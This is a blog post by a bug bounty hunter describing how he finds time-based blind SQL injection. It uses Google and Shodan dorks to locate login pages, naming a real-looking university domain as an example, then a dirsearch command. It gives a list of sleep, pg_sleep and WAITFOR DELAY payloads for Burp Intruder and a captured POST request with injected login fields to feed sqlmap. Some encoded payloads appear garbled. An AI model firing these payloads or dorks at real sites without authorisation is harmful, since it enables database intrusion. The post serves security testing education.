Finding Time Based SQLi injections : Edition 2023

Hi everyone,

I am Aditya Shende (Kong) from India. A Bounty Hunter , Biker and Researcher.

This is my 4th article , If you found any spell error. Let it be….. Lets start

What exactly time based SQL injection is ?

An instance of an inferential injection or blind injection attack is time-based SQL injection. A sort of attack known as an inferential injection attack prevents data from being exchanged between the attacker and the database, making it more difficult for the attacker to obtain results than in an in-band injection assault. Because of this, it is often referred to as a blind injection attack. Inside the database, a hacker has the ability to reconstruct and create a new database structure.

An attacker who wants to postpone the execution of the queries sends a SQL command to the server in a time-based attack.

If the query’s result is true or false, the response time shows it. The attacker will issue another query based on the reply. Because the attacker has to enumerate each character by character, this is usually a slow intrusion technique, especially for large databases.

Where I look for time based SQLi ?

  1. Login pages
  2. Headers
  3. GET parameters | Sometimes

Mostly I focus on Login pages and try to check if ORG is using jsp,php or aspx in any domain or not.

Methodology:

  1. You can simply find open login page from google dorking . Like this

Dork site:=.*.*.wur.nl inurl:login | inurl:signin | intitle:Login | intitle:”sign in” | inurl:auth

Dork site:=.*.*.your_target.com inurl:login | inurl:signin | intitle:Login | intitle:”sign in” | inurl:auth

You can use https://pentest-tools.com/information-gathering/google-hacking for dorking to find login pages.

I am not coding guy or traditional person who checks each code to balance everything but sharing the method which I use for BSQLi.

2. Using shodan

You can use following dork to check if any of domain /IP contains auth page or not

Dork : http.title:”WUR”

3. FUZZ

Nothing special here . I just use one command of dirsearch (OLD SKOOL HECKER)

dirsearch.py -l target.txt -e php,asp,aspx,jsp,py,txt,conf,config,bak,backup,swp,old,db,sqlasp,aspx,aspx~,asp~,py,py~,rb,rb~,php,php~,bak,bkp,cache,cgi,conf,csv,html,inc,jar,js,json,jsp,jsp~,lock,log,rar,old,sql,sql.gz,sql.zip,sql.tar.gz,sql~,swp,swp~,tar,tar.bz2,tar.gz,txt,wadl,zip -i 200 — full-url

Finally after grabbing all points , logins, IPs . Time for exploitation

Exploitation

Take all the login pages and open it in firefox .

  1. Enter anything in username and password
  2. Send request to intruder
  3. Use following payloads (I use this mostly)
  4. Add username and password as attack position
  5. Select attack type as pitchfork and paste payloads
  6. Start attack

Now observe response length and status code

or sleep 5 —
or sleep 5
or sleep(5) —
or sleep(5)

or SELECT pg_sleep(5);
(SELECT pg_sleep(5))
pg_sleep(5) —
1 or pg_sleep(5) —
“ or pg_sleep(5) —
‘ or pg_sleep(5) —
1) or pg_sleep(5) —

;waitfor delay ‘0:0:5’ —
‘;WAITFOR DELAY ‘0:0:5’ —
);waitfor delay ‘0:0:5’ —
‘;waitfor delay ‘0:0:5’ —
“;waitfor delay ‘0:0:5’ —
‘);waitfor delay ‘0:0:5’ —
“);waitfor delay ‘0:0:5’ —
));waitfor delay ‘0:0:5’ —
‘));waitfor delay ‘0:0:5’ —
“));waitfor delay ‘0:0:5’ —
“) IF (1=1) WAITFOR DELAY ‘0:0:5’ —
‘;%5waitfor%5delay%5’0:0:5'%5 — %5
‘ WAITFOR DELAY ‘0:0:5’ —

Explore payloads from : https://ansar0047.medium.com/blind-sql-injection-detection-and-exploitation-cheatsheet-17995a98fed1

Once you see weird length or status code is not visible in intruder then take that request in sqlmap

Copy request and create txt file in ubuntu: cat > request.txt

POST /products/der/admin/index.php HTTP/1.1
Host: stite.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Origin: https://site.der.net
Connection: close
Cookie: PHPSESSID=ckpekt03vhn9mlgaapa50kujt3; _ga_97C2F8CQVY=GS1.1.1672995465.1.0.1672995465.0.0.0; _ga=GA1.1.582203600.1672995466
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username=’%3b%5waitfor%5delay%5'0%3a0%3a5'%5
-
%5&password=’%3b%5waitfor%5delay%5'0%3a0%3a5'%5
-
%5&btn_login=

Remaining things will be done by tools.

Note: This is just method which I use . I don’t promote or force to use this. Varies person to person .

Thanks

Kongsec

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Aditya Shende

#kongsec | Solo Bounty Hunter | Function Exploits and Report Crafting | Bikes | Not a XSS guy | Own views | Bugcrowd Top 100 l Top 10 P1 warriors | Biker